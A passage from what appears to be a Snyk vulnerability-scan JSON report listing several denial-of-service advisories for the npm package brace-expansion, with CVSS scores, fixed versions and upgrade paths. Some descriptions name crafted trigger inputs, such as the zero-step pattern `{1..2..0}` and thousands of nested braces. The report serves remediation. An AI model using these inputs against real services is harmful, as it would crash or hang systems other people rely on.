"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
